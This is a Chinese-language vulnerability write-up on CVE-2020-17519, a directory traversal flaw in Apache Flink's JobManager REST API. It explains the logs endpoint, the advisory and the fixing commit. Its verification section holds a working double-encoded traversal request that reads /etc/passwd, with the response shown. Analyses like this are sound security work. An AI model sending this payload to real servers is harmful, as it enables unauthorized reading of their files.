简介 Apache Flink

参考官方文档 https://flink.apache.org/

Apache Flink® — Stateful Computations over Data Streams

Apache Flink是一个框架和分布式处理引擎，用于对无边界和有边界的数据流进行有状态的计算。

Flink被设计成可在所有常见的集群环境中运行，在任何规模下以"内存速度"执行计算。

REST API

参考官方文档 https://ci.apache.org/projects/flink/flink-docs-stable/ops/rest_api.html#jobmanager-logs

Flink 具有监控 API，可用于查询"正在运行的jobs" 和 "最近完成的jobs" 的状态和统计信息。该监控 API 被用于 Flink 自己的dashboard，同时也可用于自定义监控工具。

该监控 API 是 REST-ful API, 即接受 HTTP请求，并响应JSON格式的数据。

使用REST API

监控 API 中有一个API是 /jobmanager/logs

作用是: Returns the list of log files on the JobManager.

Request 1:

GET jobmanager/logs HTTP/1.1
Host: 10.1.1.3:8081
Cache-Control: max-age=0
Accept-Encoding: gzip, deflate
Connection: close

Response 1:(手动格式化了json数据)

HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Access-Control-Allow-Origin: *
content-length: 1031

{
  "logs": [
    {
      "name": "flink-work-taskexecutor-0-instance-demo.test.out.3",
      "size": 0
    },
    {
      "name": "flink-work-standalonesession-0-instance-demo.test.log",
      "size": 123126
    },
    {
      "name": "flink-work-taskexecutor-0-instance-demo.test.log.1",
      "size": 19991
    },
    {
      "name": "flink-work-taskexecutor-0-instance-demo.test.log.2",
      "size": 18651
    },
    {
      "name": "flink-work-taskexecutor-0-instance-demo.test.out",
      "size": 0
    },
    {
      "name": "flink-work-standalonesession-0-instance-demo.test.out",
      "size": 0
    },
    {
      "name": "flink-work-standalonesession-0-instance-demo.test.out.1",
      "size": 0
    },
    {
      "name": "flink-work-standalonesession-0-instance-demo.test.log.1",
      "size": 18910
    },
    {
      "name": "flink-work-taskexecutor-0-instance-demo.test.log",
      "size": 18443
    },
    {
      "name": "flink-work-taskexecutor-0-instance-demo.test.out.2",
      "size": 0
    },
    {
      "name": "flink-work-taskexecutor-0-instance-demo.test.out.1",
      "size": 0
    },
    {
      "name": "flink-work-taskexecutor-0-instance-demo.test.log.3",
      "size": 18160
    }
  ]
}

现在有了日志的列表，可以看其中某个日志文件的具体内容。

Request 2:

GET jobmanager/logs/flink-work-standalonesession-0-instance-demo.test.log HTTP/1.1
Host: 10.1.1.3:8081
Cache-Control: max-age=0
Accept-Encoding: gzip, deflate
Connection: close

Response 2:

HTTP/1.1 200 OK
Content-Type: text/plain
content-length: 14910

2021-01-04 14:58:05,470 INFO  
(该日志的文件内容 此处省略)

漏洞信息

参考自 https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d@%3Cannounce.apache.org%3E

漏洞名称:
CVE-2020-17519: Apache Flink directory traversal attack: reading remote files through the REST API

影响版本:
3个版本受影响1.11.0 1.11.1 1.11.2

漏洞描述:
Apache Flink 1.11.0中引入的一个更改(也在1.11.1和1.11.2中发布)允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。

漏洞危害:
访问限制为JobManager进程可访问的文件。
(对于JobManager进程有权限读取的那些文件，攻击者可通过利用此漏洞实现文件读取。)

修复方案:
升级到1.11.3或1.12.0

The issue was fixed in commit b561010b0ee741543c3953306037f00d7a9f0801 from apache/flink:master.

Credits:
This issue was discovered by 0rich1 of Ant Security FG Lab

漏洞分析

参考diff https://github.com/apache/flink/commit/b561010b0ee741543c3953306037f00d7a9f0801

文件路径:
flink-runtime/src/main/java/org/apache/flink/runtime/rest/handler/cluster/JobManagerCustomLogHandler.java

该文件的代码变更:

// 具体变更: 去掉了第1行 ，新增了第2行
        String filename = handlerRequest.getPathParameter(LogFileNamePathParameter.class);

        String filename = new File(handlerRequest.getPathParameter(LogFileNamePathParameter.class)).getName();

使用File类，可以去掉path信息，是个简单的修复办法。

修复之后的关键代码如下:
https://github.com/apache/flink/blob/97bfd049951f8d52a2e0aed14265074c4255ead0/flink-runtime/src/main/java/org/apache/flink/runtime/rest/handler/cluster/JobManagerCustomLogHandler.java

@Override
    protected File getFile(HandlerRequest<EmptyRequestBody, FileMessageParameters> handlerRequest) {
        if (logDir == null) {
            return null;
        }
        // wrapping around another File instantiation is a simple way to remove any path information
        // - we're
        // solely interested in the filename
        String filename =
                new File(handlerRequest.getPathParameter(LogFileNamePathParameter.class)).getName();
        return new File(logDir, filename);
    }
}

漏洞验证

Request:

GET jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd HTTP/1.1
Host: 10.1.1.3:8081
Cache-Control: max-age=0
Accept-Encoding: gzip, deflate
Connection: close

Response:

HTTP/1.1 200 OK
Content-Type: text/plain
content-length: 1523

root:x:0:0:root:/root:/bin/bash

总结

CVE-2020-17519: Apache Flink directory traversal attack: reading remote files through the REST API

对于受影响的1.11.0 1.11.1 1.11.2版本的Apache Flink，可以实现(JobManager进程权限的)任意文件读取。